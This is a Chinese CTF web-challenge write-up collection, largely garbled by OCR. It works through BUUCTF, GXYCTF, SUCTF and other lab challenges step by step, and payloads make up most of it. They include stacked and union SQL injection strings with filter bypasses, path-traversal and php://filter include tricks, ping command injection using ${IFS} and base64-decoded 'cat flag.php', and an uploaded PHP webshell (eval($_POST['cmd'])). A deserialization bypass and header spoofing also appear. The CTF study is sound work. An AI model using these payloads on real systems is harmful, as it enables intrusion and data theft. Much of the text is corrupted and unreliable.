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IDOCTYPE html

<html lang="en”>

<head>
<{meta charset="TTF-8">
{meta name="viewport” content="width=device-width, initial-scale=1.0">
<{meta http—equiv="¥-Ut-Compatible” content="ie=edgze">
<titlerDocument</title>

</head>

<bodyx
{!——source. php—>*

<brr<dimg sre="https:/fi.1oli.net/2018/11/01/Ebdb0dd3de?94. jpe” /></body>
</html >

Vililsource.php, HH:4y 1 IRIS, TS H 11,
AL, YR emmm:checkFile, HETIfi 1 — L]

B PUE—include, SCAFELE, WATESGTRAE, it L checkFile 7% .



class  emmm

{
public static function checkFile(&3page)
{
Fwhitelist = [“souwrce”="source. php”, “hint”=>"hint. php"];
it ! isset(fpage) || 'is_stringi(fpage)) |
echo “you can’t see it7;
return false:
}
if (in_arrav($page, Jwhitelist)) |
return  true;
}
% page = mb_substrl
Ipage,
o,
mh_strposifpage . 77, %)
)
if (in_array(3}_pase, Jwhitelist)) |
return  true;
}
% page = urldecode(3page);
% page = mb_substrl
$_paze,
o
mh_strpos($ page . 79, 7))
)
if (in_array(3}_pase, Jwhitelist)) |
return  true;
}
echo “you can t see it”;
return false;
}
}

hint.php



flag not here, and flag in ffffllllaaaagggg

includefitt & i) =N FIWr 26 A 4 N E S included $hAT .
checkFile v &

%—if, pagedi EE I H AT

B Nif, page i EAEH 4 A
_pagesEpage NI 465 ? A7 B BEL — B e
WA, pageth BAE AL

_pageiF AT urlf#hs

_page A7 A [F L

SEVUNF, _pagefs BETE (14 i

P AFRA MG payload U, 5 2 S R A, 7 2B, RSN, % iy, AT AT i
HMIE LN T a4, (RIE RS _pageft (14 i

file=source.php



N ki Hinclude ffflag

file=source.php?../../../../../..]. . /fffflllaaaagggg

SR IFurlgm i P 1%

file=source.php%253F/../.....|../..|..|. /fffflllaaaagggg
payload Hii4i& 5E % T
[55 5 20197 {5 v
TFRAE—MaAKE, SEBEER BTN, FIH S/ 8855
1" /145G
1'# /1B

1'and 1=1# //1E%
1'and 1=2# //1E7%, false

ARSI, FIHCN2

1' order by 3# /4

22k Hselect, &It g

return preg_match( ,$inject);

“
N
il
H
P
Jn
P
=

FXHABSERE T, Bwp, EHEBRIEN, BUE—IKIAT KA

1';show databases;



=281 | ExEE

arrav(?) |
[ol=>
string(1) "1
[11=>
string(7) "hahahah”
}

array(1) |
[o]=>
string(11) “ctftraining”

}

arrav(1l) §
[ol=>
string(18) “information schema™

}

array(1) |
[o]=>
string(5) “my=sql”

}

arrav(1l) §
[ol=>
string(18) “performance schema”

}

array(1) |
[o]=>
string(9) “supersqli”

}

arrav(1) |
[ol=>
string(4) “test”

}

ToRER
1';show tables;



B FERARERIRSE, JQii—0iE: ARNZSR—A0

ezl | s

array(2) {
[0]=>
string(l) “17
[1]=>
gtring (7} "hahahah”
}

array(1) {

[o]=»

string(16) "1919810931114514"
}

array(l) |
[o]=>
string(5) “words”

}

1';show columns from *1919810931114514";




B FRRAEEMGEEE, Rii—aiG: ARNZER—AT

RirEin

ZEH |0 1010810031114514 ;%

array(2) |
[o]=>
string(1) “17
[1]=>
string (7) “hahahah”

array(A) |
[o]=>
string(4) “flag”
[1]=>
string (12) “varchar(100)”
[2]1=>
string (2) “NO7
[3]1=>
string (0)
[4]=>
NULL
[5]=>
string (0)

a8

a8

GRHMagFB, Mzt fEX E
Bz ok sk A flagHh 1 Py 2%
X EA PRI L
Tiik—: M4
1. ¥R LwordsH Ny HAb, 2L T-word1

2. % 41919810931114514#: Jywords
3. 4451 4 flagit Hid

L FHalter,rename, #Jitpayload

1'; rename tables "words™ to “'word1" ; rename tables “1919810931114514" to "words’ ; alter table "words’ change “flag™ "id" varchar(100

Bt JE, HEAEHA LS flag, B a]EH BRI E K B word /Y



-

BB FRERAEEMESE, Rii—0ih: FRIRER—FT

s IE—)
arrayil)

[o]=>

string(42) “flag [BbbEZ0df-522kb-4fkb3-b40e-TEE2£1150d0a) ©
}

JiiE . TALEETER)

JHLf# Fprepare, execute, deallocatefir & K&t I8, X 52 H T concatif

s''elect from *1919810931114514" ');EXECUTE hacker;




BB FRERAEEMESE, Rii—0ih: FRIRER—FT

g | RaEE

array(2) |
[ol=>
string (1) “17
[1]=>
string (7} “hahahah”
}

arrav(1) |

[0]=>

string (42) “flag [4ad70bce-2dbB-4c07-88d1-dbE2bfhbakah) ”
}

[t 7% KBk ik 2019]EasySQL1

JIRE Y
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Syclover @ cl4y

BIS, A BUER



<fdivwr
<div class="face”>
<div class="nose”><{/div>
<div class="whisker-container™>

<div class="whisker ></div>

<div class="whisker ><{/div>
<fdivwr
<div class="whisker-container”>

<div class="whisker ><{/div>

<div class="whisker”></div>
<fdivw>
<fdivs
<div class="tail-container”>
<div class="tail™>

<{div class="tail™>

{div class="tail”>
<div class="tail™>
<div class="tail™>
<div class="tail™>
<div class="tail”»</div>
<fdivs
<fdivy
<Sdivy
fdive

fdivy
fdivy
<divr

{fdivy
<Sdiv

P -
Jcat=§ GET! cat J;
echo §cat;
if(§fcat=="dog )} {
1l A r 7
echo "Syc{cat_cat_cat_cat}
.

Y

{div style="position: absolute bottom: 0 width: 99% “3<p align="center” style="font:italic 15px Georgia
</body>
</html >

Hi%kgetteZ ik, T



flag{ebad6eb4-72cd-4a99-b0b1-c6626f41fc17}

Syclover @ clyy

[SUCTF 2019]EasySQL1
Fwp, KEBEFZEKSQLIER

select $_POST[‘query’] || flag from Flag

ELRE IR



Give me your flag, | will tell you if the flag is right.
| | m=ER

Array ( [0] == flag{78f3df6a-eeb65-4a11-bfdc-250e658d1dfd} [1] == 1)

kAR ME

sql_mode ¥ & | PIPES_AS_CONCAT i}, || #2747 HERERT, 24T CONCAT() B3l
[ACTF2020 :#7 4 % ]Include

WAEMH, SUEE

payload:

file=php:

XA FARANE N AZ A

PDOwaHAKZWNobyAiQ2F ulHivdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL 2ZsYWd7ZDZIYTUSZTktMjZi]NCOOMTImL TkyMzgtNDFhY2E3ZGRIM




[t % K Pkik 2019]Secret File1
HREHE, KIA 4 Archive_room.php
Vi, RIAE AL, 2 action.php, 2853412 T end.php

R E

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 x 2 o=
m Cancel | Follow redirection | Target: http://7d37b9¢8-e32d-4597-81af-a820322185ac.node3.buucj.cn 7 (7)
=Bl = inspecTOR X
Request (:)
Pretty \n  Actiocns v Query Parameters (0) ~
1 GET faction.php HTTP/1.1
Z Host: 7d37h9c8-232d-4597-81laf-a870322185ac . node? bunoi.on Body Parameters (1) e
2 User-Agent: Mozilla/sE5.0 (Windows HT 10.0; Win&4; x&4; rv:84.0) CGecko/Z0100101
Firefox/84.0
W
4 Accept: text/html, application/xhtml+txml, application/xml;q=0_9, image/webp,*/*;q=0.8 REqUEStCDDHESﬂm
S Accept-Language: zsh-CH,zh;q=0.8,zh-TW;q=0.7,sh-H;q=0.5,en-U2;q=0.2 en;q=0.2
£ Arcept-Encoding: gzip, deflate Request Headers (8) W
7 Connection: close
2 Referer:
Response Headers (T) w

hetp: //7d3ThSc8-232d-4557-81af-aB20322185ac node3 buuo] . en/fArchive room. php
5 Upgrade-Insecure-Requests: 1
1a
11

®@ |E”£| | search.. 0 matches

Response

Raw Render ‘n  Actions »

HTTP/1.1 302 Found

Server: openresty

Date: Tue, 159 Jan Z0Z1 05:IZ8:Z0 GHT
Content-Type: text/html; charset=UTF-8
Content-Length: E3

Connection: close

Location: end. php

2 ¥-Powered-By: PHR/T7._3.11

g

Y-S I S

-1 @

10 <!DOCTYPE html>

11

12 <html>

13 <l--

14 secr3t._php

15 —-»

1l =/html>

17

@@ [« ||—= | Search... 0 matches
Done

7324 —-secr3t.php

265 bytes | 83 millis



<html >
<titledsecretd/title>
<{meta charset="UTF-8">
<php
highlight filel FILE ).
error_reporting (0);
$file=3 GET[ file ];
if{stratr (§file, “. . /) | |stristr (3file, “tp™) ||stristr($file, “input™) | |stristr($file, “data™)) {
echo “0h no!”;
exit();
i
include ($file);

T
</html >

Fflagfcflag.php 1, &4 TR, RIEH 1, B —4include, HEE
SRJG KRBT IE T — et il fiterrn LLAH, 1% L —iE 8t B ALFEA4) i payload

PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZDAKICAgICAGICASbWVOYSBjaGFyc2VOPSJ1dGYtOCHCiAgICAGICAGPHRpAGXIP
kZMQUC8L3RpdGxIPgogICAgPCI0ZWFkPgoKICAgIDxib2R5IHNOeWXIPSJYWNrZ3JvdW5kL WNvbGIyOmJs YWNrOy +PGJyPjxicid8Yn+PGJyPj
icj48Ynl+CiAgICAgICAgCIAgICAGICAGPGgxIHNOe WXIPSJmb250L WZhbWise T p2ZXJkYW5hO2Nvb G9yOnJiZDtoZXhOL WF saWduOmNIbnRIcjsiP

uWViuWTiO+8geS900aJlvuWIsOalkeS6hu+8geWPr+aYr+S900eci+S4jeWIsOalkVF BUX5+fjwvaDE+PGJyPijxicj48Ynl+CiAgICAgICAgCIAgICAgIC
AgPHAgc3R5bGU9IMZvbnQtZmFtaWx50mFyaWFsO2NvbG9yOnJIZDtmb250L XNpemUBMjBwe Dt0ZXhOLWF saWduOmNIbnRIcjsiPgogICAgICA
gICAgICA8P3BocA0gICAgICAGICAGICAgICAgZWNobyAi50iR5bCx5Zyo06L+26YeMIjsKICAgICAgICAGICAGICAgICRmMbGFnID0gJ2ZsYWd7ODQzN
GQXMWUIM2MANSO00MZILTIJOTUtYmRKNjIININhZJMzfSc7 CiAgICAgICAgICAgICAgGICAkc2VjiecmV0ID0gJ2ppQW5nX0x1eXVhbI93NG50c19hX2cxc
kimcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPCOwWPgogICAgPC9ib2R5PgoKPC90dG1sPgo=




DOCTYPE html
html
head
meta charset
title>FLAG</title

head

body style br><br><br><br><br><br

h1 style Wngt JREEEIFR T ARAREAZIERQAQ h1><br><br><br

p style
<?php
echo
$flag
$secret
7>

p

[#% % kK $kik 2019]LoveSQLA1

F 7T ReE S AT LG skt &

I AESQLIR R

username=1' order by 1%23&password=123
FeHIM— B, AR

Rk FHIEA R

username=1"' union select 1,2,3%23&password=123

FEEN E geek

username=1"' union select 1,database(),3%23&password=123

1% 4 geekuser,lOve1ysq1

username=1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&p

assword=123

7 E, id,username,password

username=1 I0Ove1ysg1'%23
password=123

f3flag

username=1" union select 1,database(),group_concat(id,username,password) from I0ve1ysq1%23&password=123

[GXYCTF2019]Ping Ping Ping1

pingfir & AT



¥ 4epingZs i (127.0.0.1)

ip=127.0.0.1

[?ip=

PING 127.0.0.1 (127.0.0.1): B6 data bytes

ME BT 75
PATE SRR E BT

ip=127.0.0.1|[Is



[?ip=
PING 127.0.0.1 (127.0.0.1): BA data bytes

flaz. php
index. php

n] LA B | BA A, flag.phpflindex.php, EARFEATE T L Aflag.php B W2, Flinux BLTE 1y 4-cat

ip=127.0.0.1||cat flag.php



/?ip= fxck your space!

PRI P, B ABAVRGIL s, Tiido B oy AT LR R 745, Bl
${IFS}

ip=127.0.0.1||cat${IF S}flag.php



/?ip= 1fxck your symbol!

SErR LAl A, R — A

ip=127.0.0.1||cat$IFS$1flag.php



/?ip= fxck your flag!

flaghzidyif 17, A1z EFindex.php

, $ip, $match)){
echo preg_match( , $ip, $match);
die( )
} else if(preg_match("/ /", $ip)){
die( )
} else if(preg_match( , Sip)}{
die( )F
} else if(preg_match(
die( );
ki

$a = shell_exec(

» $ip)}{

echo

print_r($a);




A LA Elflagid 38 1/,%

W UM AR IE 1, ALy DU 4 b

ip=127.0.0.1| $IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d”

f9ip=

<prerPING 127.0.0.1 (127.0.0.1): 56 data bytes

{?php

$flag = "flag{81fc2967—c85c—441c—92Ff9-feede5ab5693} " ;
2

[ACTF2020 3/ £ ]Exect
G PR
<?php
if (isset($ POST{ target’J)) {
system( ping —¢ 3 . $ POST[ target’]);
}
2>
X BATRT LA By A BT B A
-C<TEIRE> V¢ TE BB SR [F] B R R AL

ARSI LT, B AR IZIES B S POSTIAZ



target=127.0.0.1||cat /flag

PING

PING 127.8.8.1 (127.8.8.1): 56 data bytes
flag{afll8e6d-6a6c-46@8e-b5b7-3751f7e27584}

[$" ™4t 2018]easy_tornado1
SSTI 55 i A AR N

[# % Kk ik 2019]Knife1

TXTE AR TR B, MR Bl S ) B A AT A
& Syc, & Posti A i

SRR B, BT U Flflag



@ mEN

AntSword R =0 F

i [0111.73.45.58 »

[ imi8: /flag -8 X
flag ChRIE ES=E - DAREHTF » BEE
1 |Flag{2733bbae-25f8-4fdd-8871-8h226cc8f4ed}
2

[RoarCTF 2019]Easy Calc1

<scoript>
£('#calc').subnit (function(){
S.ajaxi{
url:"calc.php?num="+encodeURIComponent (5 ("$content”) .val() ),
type:'GET',
success: function (data) {

S("#result") . html( <div class="zlert alert-success">
<strong»EE:¢/strong»S {datal

<fdiv>");

ir
error: function () {

alert | "En%?ﬂﬂé! "y

H)
return false;
b
</soript>

A VEND, KA T calc.php?num
Villcalc.php, B4 TR, g T —s7fF, BE®T, Bwp
EHIH T phpfi st

num=phpinfo()
20num=phpinfo()



LTS, phpfbT 2 —FER, (H2waflG e A —FE, waf& g RPNk EE, XA nT bgsit waf
FrU A EAR B K B4 R0, Widims

var_dumps2fTENZH N %, scandine A SH H F BN EMHE 3, chr(d7)gi2"", "M g7, FAIE M chr(47)5eid

array(24) { [0]==> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]==> string(3) "bin" [4]=> string(4) "boot"
[5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "flagg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=>
string(5) "lib64" [11]=> string(5) "media” [12]=> string(3) "mnt" [13]== string(3) "opt" [14]== string(4) "proc” [15]==>
string(4) "root” [16]== string(3) "run” [17]==> string(4) "sbin" [18]== string(3) "srv" [19]=> string(8) "start.sh" [20]==>
string(3) "sys" [21]==> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

ALERHA—1Magg, RITEGEENAE

20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103

file_get_contents & #& AN SCAF A — AN 45 HR



string(43) "flag{5a0c88bd-1d14-494f-ba52-d48fdc26206f}

[#% % KBk dk 2019]Http1

FIEY, KIASecret.php

Vi, 3R

It doesn’'t come from ‘https://www.Sycsecret.com’
FAE Fbpthitreferer

Please use “Syclover” browser

EHUA

No!!! you can only read this locally!!!

XFF i



GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:28669
User-Agent: "Syclover" browser

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

X-Forwarded-For: 127.0.0.1

referer: https://www.Sycsecret.com

[#% % Kk dk 2019]PHP1

RRA RIS, - FHES, AAdK. o o Bwp
www.zip N3 Tk, f4Mag.php, B EHZIRM
Zindex.php, Jtinclude class.php, RJEfEZ, KRJEHIL,
T & ZFEclass.php, G H i

Name2t, pif4c& . password

Husername=admin, password=100f, #ittflag

i S 7 B4E

private $username
private $password

public function __construct($username,$password){
$this->username = $username;

$this->password = $password;

t
$a = new Name( , 100);
var_dump(serialize($a));

7>

select=0:4: RS

SFFIM AT wakeup(), %712 Nusername BT E, 75 Bk 1% 7

HBFHICRE, AETE AN EOR T Se bR AN EO, st & kid_ wakeup()



[select-0:4:"Narme" 3:{s:14: Nameusername";s 5:"adrmin';s:14: Namepassvord i: 100
private 7451 (17 BOSRAA Bt AT 1 0ot W, (B0 TSR0 X R b BT I
LA B 7 B PRSI, 4 R0 B T A 2 1O A

FAF A AL BTN RO 4R A B

Syclover @ cl4y

[t % K Pki% 2019]Upload1
SO bt

bpl L2k




Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender
Inte HTTP history WebSsaockets history Options

/ Request to hitp://e0dbibT1-7f5b-4f4a-826c-£5114291b580.node3. buuoj.cn:80 [111.73.45.58]

|. Action | | Open Browser |

|. Forward | | Drop |

Pretty \no Actions v

Project options

User options

1 POST Jupload file.php HTTP/L1l.1

Z Host: e0dbhSh7l-Tf5h-4f4a-82680-e5114251b580 node3 . buuoi . on

2 User-Agent: Mozilla/s5.0 (Windows HT 10.0; Win£4; x&E4; rv:84.0) Gecko/ /20100101 Firefox/84.0

4 Apcept: text/html, application/xhtmltxm] , application/mml;q=0.9, image /webp, */*;q=0.8

S Accept-Lancguage: zh-CH,zh;gq=0.8,zh-TW;q=0_7,csh-H¥;gq=0_5,en-TUS;g=0_3 en;qg=0_2_

¢ Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data; boundary=------—-—---—---"-—""-"—"--"—"———— 45751157415789175381 758496850
2 Content-Length: 405

S Origin: http://eldbSkT71l-Ti8kh-4£{4a-8280-28114251bE520 . node3 . buuoj. . cn

10 Comnection: close
11l Referer: http://eldbSh7l-7£58kh-4£4a-826c-e51l14251b580 . node3. buuc]. cn/
12 Upgrade-Insecure-Requests: 1

14 mommm e 457511 574157891 79381 750495890
15 |Content-Disposition: form-data; name="file"; filename="demo. phtml"
1 [Content—-Type: imagefjpeﬁ

18 GIFS8a

15 <geript language="php"reval (5 _POST['cmd']) ;</script>
————————————————————————————— 4E575115741E7891793281758456850
Content-Disposition: form-data; name="submit"

————————————————————————————— 4E575115741£789179361758496650-—

@@ |E”E| | Search...

0 matches

EAZRT, {Eupload H T
U

w I JE K Fflag

HO1D3dSNI



@ Ews - O X
AntSword RBE O B

« = [0111.73.45.58 3
[ imig: /flag -2 X
fflag Chlfi =EaE - DAELESTAF - BEF
1 |[flag{499866a6-5a8a-44f4-aala-a70alfebf209a}

2

[§%% K Pk sk 2019]BabySQL1
EXBAAH T WSS, HXBH Treplace, # ¥ttt 7 7

I =A, JFHBEA N2, 3



Hello 2!
Your password is '3’

§
B
:
H
§

Syclover @ clyy

username=admin&password=123 %27 ununionion seselectlect 1,2,version() %23

Maria DB T H—/ MR &L FHSRE A



Hello 2!

Your password is
jaDB’

4
z
;
]
§

Syclover @ clgy

username=admin&password=123%20%27 %20ununionion%20seselectlect’%201,2,database()%20%23



Hello 2!
Your password is

i
B
i
¥
§
§

Syclover @ clgy

XA R R R 4 7, BRATIE T G — 1 A B

username=admin&password=123%20%27 %20ununionion%20seselectlect’%201,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata)?%20%23

(S B B A7 R W R mT e A B s e ML), 2 BORE P R A7 R SRk L% E A% (img-6q YVG9x-1612184073050)
(C:\Users\william\AppData\Roaming\Typora\typora-user-images\image-20210201125245104.png)]

username=admin&password=123%20%27 %20ununionion%20seselectlect’%201,database(),group_concat(table_name) frfromom infoorrmati
lon_schema.tables whwhereere table_schema 20%23




Your password is

Hello geek!
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Hello geek!
Your password is 'Flag’

apepm e B

Syclover @ elgy

KILFlag#, 1T B

username=admin&password=123%20%27 %20ununionion%20seselectlect%201,database(),group_concat(column_name) frfromom infoorrma|
ion_schema.columns whewherere table _name

20%23



Hello geek!
Your password is 'flag’

apepm e B

Syclover @ elgy

flag B IR INE WA

username=admin&password=123

20%27 %20ununionion%20seselectlect%201,database(),group_concat(flag) frfromom ctf.Flag %20%23



Hello geek!
Your password is

Syclover @ clgy
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@ mEms - O X
AntSword 5 =0 EA
4 H [0111.73.45.58

[ imi8: /flag -8 X
flag ChRIE ES=E - DAREHTF » BEE
1 flag{9164a532-4678-46a09-adle-f49ccc54830h}
2

[ACTF2020 37/ % ]BackupFile1
HEHE R #0786 501, indexphp.bak
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NHHR WEE EFEe BNV £3e ETR Zmm FEiH) index.php - Visual Studio Code
@ indexphp X

C: > Users > william > Downloads > € index.php > ...
include_once "flag.php";

if(isset($ _GET['key'])) {
$key = $_GET[ "key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123Fffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;
if($key == $str) {
echo $flag;

}
else {

echo "Try to find out source filel!";

19 |

Python 3.8.5 64-bit (conda) @ 0 A0 719, Bl1 ZH%4 UTF8 CRIF php Idterready & L)




flag{9ef54c81-890d-4ac5-b9dd-67de120e741d}

[HCTF 2018]admin1

oM 4admin, #9123, M)



hctf

Hello admin
flaglede95cd5-41af-4059-8a80-78f861ded94b}
Welcome to hctf
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24 {1 clazz="1icon barz"»{ i a
25 {div clasz="menu">

“a clazz="item” href="/index”>index</a>

<div clazs="ui grid">

&

28 “div class="divider”»<{/div>

29 <a clasz="item” href="/edit” >post{/a>

30 <a href="/change” claszs="item":change pazsword</a>
M <a clazs="item” href="/logout”>logout</ax
32

33 fdivy

34 <fdivy

3 </divs

36| </div

37

«

«

3 <div clasz="four wide column”»</diwv>

9 <div clazs="eight wide column”>
40
41
43
44 < div

45 | < diwvs
46
47 <div class="ui grid”’>
48 {div class="four wide column”></div>
49 {diy class="sisht wide column”

0 | <l== https: //github. com/woads11234/hetf_flask/ —>

1 Torm clazz= U1 Torm Zegment. method= pozt. enctype= multipart,/form—data”:
2 <div clazs="field required”:

3 ¢lzbel>NewPazsword{/label>

4 ¢input id="newpaszsword” name="newpassword” required type="password” walue=""3
5 <fdive

6 <input type="submit® clazs="ui button fluid” walue="E#HETB">

7 <fform»

<fdive
<fdiv

$i{document). ready (function () {
M aEERRETRE
F0 . ui. dropdows’ ). dropdown () ;

Jf BEERTEXR L BESHETE

$0° . post-content . avatar-1ink’ ). popup{{

8
g
1| <zcript type="text/javascript”>
-
3

68 inline: true,
69 position: “bhottom right’,
70 laztRezort: “hottom right’
71 I
72 H
73 < socriptr
74 < bodyr
75 < html>
S clone ) A b
e

#routes.py H [fi ffiregister(), login(), change()=-1> &k %k #. i %54 strlowerrd 1

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask _login import logout_user, LoginManager, current_user, login_user

from app import app, db

from config import Config

from app.models import User

from forms import RegisterForm, LoginForm, NewpasswordForm

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

from io import ByteslO

from code import get _verify code

(
def get _code():
image, code = get_verify code()




image.save(buf, )
buf_str = buf.getvalue()

response = make_response(buf_str)
response.headers| ]

session|[ ] = code
return response

return render_template(

@app.route( , methods = |
def register():

if current_user.is_authenticated:
return redirect(url_for( )

form = RegisterForm()
if request.method
name = strlower(form.username.data)
if session.get( ).lower() != form.verify_code.data.lower():
flash( )
return render_template( , title , form=form)
if User.query filter_by(username = name).first():
flash( )
return redirect(url_for(
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash(
return redirect(url_for(
return render_template( , form = form)

@app.route( , methods = [
def login():
if current_user.is_authenticated:
return redirect(url_for( )

form = LoginForm()
if request.method
name = strlower(form.username.data)

session|[ ] = name

user = User.query.filter_by(username=name).first()

if user is None user.check password(form.password.data):
flash( )
return redirect(url_for( )

login_user(user, remember=form.remember_me.data)

return redirect(url_for( )

return render_template( , title , form = form)

@app.route(
def logout():

logout_user()
return redirect(




, methods = [
def change():

if current_user.is_authenticated:
return redirect(url_for( )

form = NewpasswordForm()

if request.method
name = strlower(session| )}
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash(
return redirect(url_for(

return render_template( , form = form)

@app.route( , methods = [
def edit():
if request.method

flash( )
return redirect(url_for(
return render_template(

@app.errorhandler(404)
def page_not_found(error):
title (error)
message = error.description
return render_template( , title=title, message=message)

def strlower(username):
username = nodeprep.prepare(username)
return username

X B K 3 —A~Unicode il [i] it
ADMIN //register

ADMIN //login
ladmin //change

AT = AT DB Cadminff B s, AT HEAT 5%

[ % Kk ik 2019]BuyFlag1

frpay.php BB FE BN

post money and password
if (isset($_POST][ DR
$password = $ POST][
if (is_numeric($password)) {
echo
lelseif ($password == 404) {
echo
ki
t

is_numeric()fstremp() ek

is_numericef H T4 777 %00, JCi8 & YO0 AL Hi J & mT LW N AEEE, 1M1 %2075 1 745 R R EBUE )G




A BRI R B T 58— N T A e AR T A AW, 1 i T A

strmp o5 £ 7E phpS . 3RCA BT U R AR N OB R AR T 45 R 2R, pR B R IR (710, BRIWTARSE, JRATAT BLAE A K ZH 5% object

[F] I cookie Tl B X A 1

#3%flag

Burp  Project  Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

1 =

2= - (<7 Target: http://027716¢9-b78b-418d-bad9-c374c777b764.nede3 buucjen ' (7)
(] ]

S | = | INSPECTOR @ X

Pretty IEEE \n  Actions v Query Parameters () e

5 Cac};e—Cont.rol: no-cache

£ DNT- 1 Body Parameters (2) w

Tpgrade-Insecure-ERequests: 1
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4) AppleWebKit/537.3& (FHTHL,

X i Request Cookies (1) w
like Gecko) Chrome/88_0_.4324_104 Safari/537.36
S Origin: http: //02771605-b78k-418d-badf-c374c777764 _node3 _buuo).on
10 Content-Type: application/x-www-form-urlencoded Request Headers (16) hd
11 Accept:
t.extihtn-al:appllcatj-.on,.-').(ht,ml-?-xml,appllcat,ln‘:vnime:,?—D_ S, image/avif, image /fwebp, inage/a Response Headers (6) o
prg, */*igq=0.8, application/signed-exchange;v=h3;gq=0.9
12 Referer: http://027718c9-b78h-418d-bad%-c374c77Th7E64 node3 _ buuc] . cn/pay. php
13 Accept-Encoding: gzip, deflate
14 Accept-Language: zh-CH,zh;q=0_9%
15 Coockie: user=1
1t sec-gpe: 1
17 Connection: close
18
15 password=404%00&meoney[]=1
@@ | & |[[—=| | Search... 0 matches
Response
Raw Render ‘n  Actions v
= e
attention
/3
54 <p>
If ywou want to buy the FLAG: </hbr»
55 Tou must be a student from CUIT!!!</hr>
56 Tou must be answer the correct password!!!
57
58
55 < p=
=) zhr S
gl <p>
£2 vou are Cuiter</bhr>
Password Pight | </l
flag{7abB3518-afcT7-4e83-0a65-acd40edc6febf}
63 T
£4 </p>
@@ [&|[—=] | Search... 0 matches
Done 2,677 bytes | 78 millis

[SUCTF 2019]Checkin1
BHZ TG, #HEE—TF, B wp, HIHR . user.ini
https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html
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